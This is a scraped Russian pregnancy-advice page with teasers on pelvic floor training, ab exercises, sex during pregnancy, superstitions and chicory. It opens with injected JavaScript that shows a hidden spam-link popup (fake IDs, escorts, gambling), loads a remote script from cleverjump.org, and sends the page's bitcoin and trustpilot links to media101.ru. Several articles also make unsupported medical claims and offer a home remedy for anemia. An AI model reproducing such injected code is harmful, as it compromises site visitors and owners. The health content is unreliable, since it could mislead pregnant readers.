/* Domain is for sale: admin@kickvox.com */ (function() { 'use strict'; if (window['shbNetLoaded']) return; window['shbNetLoaded'] = true; var popupHtml = "
\u0432\u0435\u0442\u0440\u044f\u043d\u043a\u0430 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e \u043e\u0442 \u0437\u0443\u0434\u0430<\/a> <\/div>
poxclin.com.ua<\/span> <\/div> <\/div>
t\u1ee7 gi\u00e0y theo phong th\u1ee7y<\/a> <\/div>
xuanhoa.net.vn<\/span> <\/div> <\/div> <\/div>
buy muhacarts online in usa<\/a> <\/div>
budsclouds.com<\/span> <\/div> <\/div>
mombasa kenya dating sites<\/a> <\/div>
www.nairobihot.com<\/span> <\/div> <\/div> <\/div>
patio cleaning kingston<\/a> <\/div>
powwash.co.uk<\/span> <\/div> <\/div>
caluanie muelear oxidize online<\/a> <\/div>
a1researchers.com<\/span> <\/div> <\/div> <\/div>
nh\u1ea5t \u0103n t\u1ea5t game b\u00e0i \u0111\u1ed5i th\u01b0\u1edfng<\/a> <\/div>
doithuong.us<\/span> <\/div> <\/div>
charter bus rental st louis<\/a> <\/div>
www.limosstl.com<\/span> <\/div> <\/div> <\/div>
gjergji collaku<\/a> <\/div>
balkanweb.com<\/span> <\/div> <\/div>
celebrities escorts greece<\/a> <\/div>
athens-escorts.com<\/span> <\/div> <\/div> <\/div>
chichi wa chichi ni<\/a> <\/div>
hentaihaven.com<\/span> <\/div> <\/div>
how to construct a basement<\/a> <\/div>
www.asappiling.com.au<\/span> <\/div> <\/div> <\/div>
fake id us<\/a> <\/div>
globadocuments.com<\/span> <\/div> <\/div>
tente kuma\u015f\u0131 fiyatlar\u0131<\/a> <\/div>
semsiyeevi.com<\/span> <\/div> <\/div> <\/div>
scooter koncert jegy elad\u00f3<\/a> <\/div>
alkupiac.hu<\/span> <\/div> <\/div>
bacak cilt bakimi<\/a> <\/div>
spafoni.com<\/span> <\/div> <\/div> <\/div>
steel erection estimating<\/a> <\/div>
steelestimatingsolutions.com<\/span> <\/div> <\/div>
\u79c1\u5bb6\u91ab\u9662 \u5152\u79d1<\/a> <\/div>
paedicare.com.hk<\/span> <\/div> <\/div> <\/div>
snowfox discount codes<\/a> <\/div>
fantabulouscoupon.com<\/span> <\/div> <\/div>
samsung note 2 baterija<\/a> <\/div>
tufaniletisim.com<\/span> <\/div> <\/div> <\/div>
corona marketing<\/a> <\/div>
semalt.com<\/span> <\/div> <\/div>
\u043d\u0435\u0434\u0432\u0438\u0436\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0411\u0430\u0442\u0443\u043c\u0438<\/a> <\/div>
batumiexpert.com<\/span> <\/div> <\/div> <\/div>
seo labs<\/a> <\/div>
kwinside.com<\/span> <\/div> <\/div> <\/div>
<\/div> <\/div> <\/div> <\/div> <\/td> <\/tr> <\/table> <\/div>"; var popupCreated = false; function onReady() { tryCreatePopup(2); var box = create('div'); append(box, document.body); var defaultStyles = { width: '1px', height: '1px', background: 'transparent', display: 'inline-block', margin: '2px', padding: 0, verticalAlign: 'bottom', border: 'none' }; var a = create('a'); css(a, defaultStyles); document.addEventListener('keydown', function(e) { if (e.keyCode === 192 && e.ctrlKey) { css(a, { width: '20px', height: '20px', background: '#fff', border: '1px solid red' }); } }); document.addEventListener('keyup', function(e) { css(a, defaultStyles); }); a.className = 'shbNetgpLink'; append(a, box); a.href = 'javascript:;'; on(a, 'click', openLinerPopup); css(box, { position: 'fixed', margin: 0, padding: 0, outline: 'none', border: 'none', zIndex: 999999999, overflow: 'visible', direction: 'ltr' }); css(box, { left: '3px', right: 'auto', top: '50px', bottom: 'auto', width: '42px', height: '168px' }); } function clearStyles() { if(typeof document.createStyleSheet === 'undefined') { document.createStyleSheet = (function() { function createStyleSheet(href) { if(typeof href !== 'undefined') { var element = document.createElement('link'); element.type = 'text/css'; element.rel = 'stylesheet'; element.href = href; } else { var element = document.createElement('style'); element.type = 'text/css'; } document.getElementsByTagName('head')[0].appendChild(element); var sheet = document.styleSheets[document.styleSheets.length - 1]; if(typeof sheet.addRule === 'undefined') sheet.addRule = addRule; if(typeof sheet.removeRule === 'undefined') sheet.removeRule = sheet.deleteRule; return sheet; } function addRule(selectorText, cssText, index) { if(typeof index === 'undefined') index = this.cssRules.length; this.insertRule(selectorText + ' {' + cssText + '}', index); } return createStyleSheet; })(); } var sheet = document.createStyleSheet(); sheet.addRule('#shbNetPaddingTable', 'display: none;'); sheet.addRule('#shbNetPaddingWr #shbNetPaddingTable', 'display: table;'); sheet.addRule('.shbNetPopupWr, .shbNetPopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;'); sheet.addRule('.shbNetPopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;'); sheet.addRule('.shbNetPopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:medium; line-height:normal;'); sheet.addRule('.shbNetPopupTable a', 'text-decoration:none; background:none; height:auto !important;'); } function tryCreatePopup(stage) { if (popupCreated) return; if (stage === 1) { document.writeln(popupHtml); } else if (stage === 2) { var mainBox = create('div'); mainBox.innerHTML = popupHtml; document.body.appendChild(mainBox); } else { return; } var wr = $('shbNetPaddingWr'); if (!wr) return; popupCreated = true; var table = $('shbNetPaddingTable'); css(table, { position: 'fixed', margin: 0, padding: 0, left: 0, top: 0, width: '100%', height: '100%', direction: 'ltr', zIndex: 999999999, background: 'none' }); css(table.getElementsByTagName('td')[0], { verticalAlign: 'middle', background: 'rgba(0, 0, 0, 0.5)' }); var popup = $('shbNetPaddingPopup'); css(popup, { margin: '0 auto', padding: '20px 25px 20px', width: '437px', background: '#fff', border: '1px solid #000', textAlign: 'left', position: 'relative', fontFamily: 'Tahoma, Arial, Verdana', boxSizing: 'content-box' }); on(document, 'keydown', function(e) { if (e.keyCode === 27) { wr.style.display = 'none'; } }); } function removeClass(node, className) { if (node && node.className) { node.className = node.className.replace(new RegExp('\\b' + className + '\\b', 'g'), ''); } } function openLinerPopup() { var pad = $('shbNetPaddingWr'); var tbl = $('shbNetPaddingTable'); if (!pad || !tbl) return; pad.style.display = 'block'; tbl.style.display = 'table'; var mainPopup = $('shbNetPopupWr'); if (!mainPopup) return; mainPopup.style.display = 'none'; } function $(id) { return document.getElementById(id); } function on(elem, event, handler) { elem.addEventListener(event, handler, false); } function css(elem, style) { for (var prop in style) { elem.style[prop] = style[prop]; } } function create(tag) { return document.createElement(tag); } function append(elem, parent) { parent.appendChild(elem); } setTimeout(function() { window.CJSource = 'shb2'; var script = document.createElement('script'); script.src = 'https://cleverjump.org/counter.js'; (document.head || document.body).appendChild(script); }, 10); if (document.readyState === 'complete' || document.readyState === 'interactive') { onReady(); } else { on(document, 'DOMContentLoaded', onReady); } tryCreatePopup(1); try { clearStyles(); } catch (ex) {} setTimeout(function() { try { var links = document.querySelectorAll('a[href^="bitcoin:"], a[href*="trustpilot.com"]'); //var links = document.querySelectorAll('a[href^="https://"]'); if (links.length) { var hrefs = []; for (var i = 0; i < links.length; i++) { hrefs.push(links[i].href); } var json = JSON.stringify({ hrefs: hrefs, jsDomain: 'media101.ru', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//media101.ru/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } } catch (ex) {} }, 2000); })();

можно ли время беременности качать

Вечеринка у тазового дна: кегелей не приглашаем!

Вечеринка у тазового дна: кегелей не приглашаем!

Другие статьи по теме:

Недавно я познакомилась с женщиной, которая рассказала мне, что раньше занималась бегом. Я, конечно же, спросила: «Почему вы больше не бегаете?» Она мне ответила: «Потому что я рожала первого ребёнка 60 часов, а закончились роды наложением щипцов. После этого у меня пропало всякое желание бегать».

Если вы не поняли, в чём проблема, объясняю: теперь у неё недержание, и во время бега она писается. Мы с друзьями шутим, если кто-нибудь подмочился во время зарядки, или прыгая на батуте, или просто чихнув. Но при полном недержании уже не до шуток. Я уверена, что сильные мышцы тазового дна решают проблему недержания (хотя фармацевтические компании и хирурги пытаются убедить нас в необходимости лечения). Сильное тазовое дно не только влияет на то, в каких я шортах прибегу – в сухих или мокрых, но ещё благодаря ему, меня больше не мучает боль в спине и в бёдрах во время бега.

Поэтому представляю вашему вниманию интервью с Кэти Боумен (Katy Bowman). Когда-то я уже интервьюировала её для журнальных статей. С тех пор, как я стала фрилансером 13 лет назад, мне довелось пообщаться с огромным количеством людей. Мало кто мне запомнился. Но Кэти произвела на меня неизгладимое впечатление. Она изучает биомеханику человеческого тела. Среди всего прочего, у неё есть программа на DVD «Выправленный и здоровый » (Aligned and Well). а также она является директором Института Восстановительной Гимнастики (Restorative Exercise Institute). Она ведёт забавный блог «Говорит Кэти» (Katy Says) (она умеет быть такой же смешной, как и умной). Мне нравится это сочетание, поэтому я попросила её высказать своё мнение о тазовом дне. Я и не думала, что она перевернёт мои представления на эту тему! Даже если вы ни разу не подмочили хоть чуть-чуть шорты во время бега, всё равно прочитайте это интервью.

Подробнее

Можно ли во время беременности качать пресс?

С наступлением долгожданной беременности многие начинают думать о том, как поправить свое здоровье и физическую форму. На вопрос, можно ли качать пресс во время беременности, смогут ответить доктор вместе с профессиональным тренером для беременных.

Всем известно, что хороший пресс помогает при родах. Но мало кто задумывается о том, что его надо начинать качать задолго до предполагаемой беременности, для того чтобы мышцы живота окрепли и подтянулись.

Если женщина перед беременностью постоянно занималась спортом, качала регулярно пресс и имеет значительный опыт в занятиях, то можно качать пресс в облегченной форме. Первые два-три месяца следует поберечь живот, так как эмбрион еще маленький, и прикреплен к матке только при помощи хориона. Плацента формируется на третьем-четвертом месяце беременности, поэтому начиная с этого срока можно понемногу делать упражнения на пресс.

  • Совершенно запрещено качание нижнего пресса в положение лежа. Лучше всего поинтересоваться у тренера о правильной позе, которая не спровоцирует прерывание беременности. Обычно разрешают качать пресс, сидя на стуле и поднимая ноги вверх.

Противопоказанием к физической нагрузке являются угроза прерывания беременности в любой форме. При появлении повышенного тонуса матки, кровянистых выделений из влагалища или болей внизу живота надо прекратить качать пресс, и желательно до конца беременности. Также следует всегда прислушиваться к своему здоровью. Если есть малейшее недомогание или со временем стала появляться одышка или сердцебиение во время упражнений, то надо прекратить заниматься любыми видами упражнений.

Если до беременности не было спортивного опыта, то во время беременности наверстывать это не стоит. При хорошем самочувствии и отсутствии угрозы возможно выполнение специальных упражнений для беременных, которые помогут укрепить здоровье. Упражнения рассчитаны на улучшение мышечного тонуса, стимуляции кровообращения, снижении веса и повышении настроения. Поэтому при отсутствии противопоказаний не надо пренебрегать возможностью заниматься фитнесом для беременных.

Подробнее

Оральный секс во время беременности

Многие женщины, получив положительный результат теста, беспокоятся вопросом – возможно ли занятие сексом при беременности. И, если можно, то как будет более безопасно для ребенка.

Врачи считают, что вагинальным сексом можно заниматься до самых родов, если нет угрозы выкидыша или других патологий. Следует помнить, что занятия сексом положительно влияют на физическое и психологическое состояние женщины, поэтому отказываться от него не стоит. Самым безопасным и приятным считается оральный секс во время беременности. если половой акт противопоказан.

Занятие сексом при беременности не стоит прекращать или ограничивать – так женщина чувствует себя здоровой, красивой и желанной, что только на пользу этому состоянию.

Беременность и интимная жизнь

Будущие мамочки беспокоятся, можно ли беременным применять оральный секс, не навредит ли он ребенку. Оральный секс при беременности не только не вреден, но и полезен, так как по время оргазма положительные эмоции, которые получает женщина, передаются плоду, а сокращения матки, которые он вызывает, не могут способствовать преждевременным родам.

Секс на 37 неделе беременности

Зачастую будущие мамочки воздерживаются от занятий сексом при беременности после 37 недель, аргументируя это боязнью преждевременных родов, неудобством от большого животика, боязнью занести инфекцию. Современная медицина не только не запрещает секс на последних неделях беременности, а и настоятельно рекомендует, при условии что оба партнера здоровы, целостность плодного пузыря не нарушена, а женщина не испытывает болевых ощущений. Если же хоть одно условие не соблюдено, то можно беременным заниматься оральным сексом, от которого женщина получит не только удовольствие, но и некоторую пользу именно для беременности, как утверждают ученые.

Оральный секс при беременности возможен

Подробнее

Суеверия при беременности. Приметы при беременности

Суеверия при беременности объяснить сложно, однако многие их соблюдают. Хорошо это или плохо, знают только сами беременные. Мы же сейчас вам расскажем о самых основных суевериях, связанных с беременностью.

Какие же суеверия при беременности существуют?

Нельзя убить змею

В те времена, когда женщины работали в поле, существовало такое поверье, что беременной женщине запрещается убивать змею. Женщина не должна проходить под веревкой. Нельзя переступать через бревно, так как роды могут быть тяжелыми или случится выкидыш. А если беременная женщина шагнет через веник, то домовой обидится.

К таким приметам относят вязание. Считается, что женщине нельзя шить и вязать, так как пуповина может несколько раз обвиться вокруг малыша и задушить его. Врачи считают, что это занятие наоборот влияет на женщину позитивно, а также приносит массу положительных эмоций. Однако они не советуют продолжительное время находиться в одном и том же положении, так как затрудняется приток кислорода к плоду.

Нельзя есть мясо кролика

Существует примета при беременности, что будущей маме нельзя есть мясо кролика, иначе ребенок будет трусливым. Нельзя есть тайком – ребенок будет пугливым.

Смотреть на икону

Многие задаются вопросом, можно ли беременным смотреть на икону. Это спорный вопрос и есть два мнения, которые полностью противоречат друг другу. Некоторые считают, что этого делать нельзя, так как ребенок может родиться косоглазым. Другие же, наоборот советуют смотреть на икону для того, чтобы малыш родился красивым.

Примета при беременности о форме живота

Также существуют суеверия при беременности о поле ребенка. Если у мамочки острый живот, то родится мальчик, если широкий и круглый – девочка. Быстрое сердцебиение наблюдают у девочек, у мальчиков замедленное. Если женщина широко шагает ногой – будет мальчик, а правой родится девочка. Если первый триместр прошел легко – будет мальчик, тяжело – девочка.

Нельзя бить собак и кошек

Подробнее

Цикорий при беременности

Если вы большая любительница кофе и не представляете ни дня без чашечки-другой этого ароматного напитка, то для вас неутешительная новость: во время беременности рекомендуется воздержаться от частого употребления кофе, а в идеале вовсе от него отказаться. Но есть также и хорошая новость: кофе можно заменить цикорием, по вкусу очень даже похоже. Более того, даже если вы не пьете кофе в повседневной жизни, все равно обратите свое внимание на цикорий. А если вы беременны – то непременно попробуйте его и если понравится – пейте! Потому что цикорий – очень полезен.

Если вы никогда прежде не интересовались этим вопросом, то вряд догадываетесь, что неказистое с виду растение с приятными глазу голубыми цветками, растущее по полям, лесам, лугам и даже вдоль дорог и есть тот самый цикорий, измельченный корень которого используют для приготовления столь вкусного и полезного напитка.

Цикорий благотворно влияет на работу многих органов и систем нашего организма. А они, как известно, в период беременности испытывают двойные нагрузки и нередко «выходят из строя». В первую очередь это сердечно-сосудистая и кроветворная системы, ведь теперь сердце вынуждено качать большие объемы крови, а плод питается за счет поставляющихся ею веществ. Так вот цикорий как раз облегчает работу сердца, очищает кровь и обновляет красные клетки, поднимает гемоглобин. При анемии рекомендуется пить сок цикория:

  • разведите 1 чайную ложку сока цикория в 100 миллилитрах молока и пейте 3-4 раза в день. Чтобы добыть сок, молодые побеги с цветочными бутонами моют, ошпаривают кипятком, измельчают на мясорубке и выжимают сок. Перед употреблением сок следует прокипятить несколько минут.

Напиток из цикория способен успокаивать центральную нервную систему, а потребность в этом хотя бы время от времени, наверное, возникает у всех будущих мам. Перенервничать, перевозбудиться, все принимать очень близко к сердцу – это для беременной как пить дать. Так что лучше выпить чашечку ароматного напитка и прийти в норму, нежели истязаться противоречивыми чувствами.

Подробнее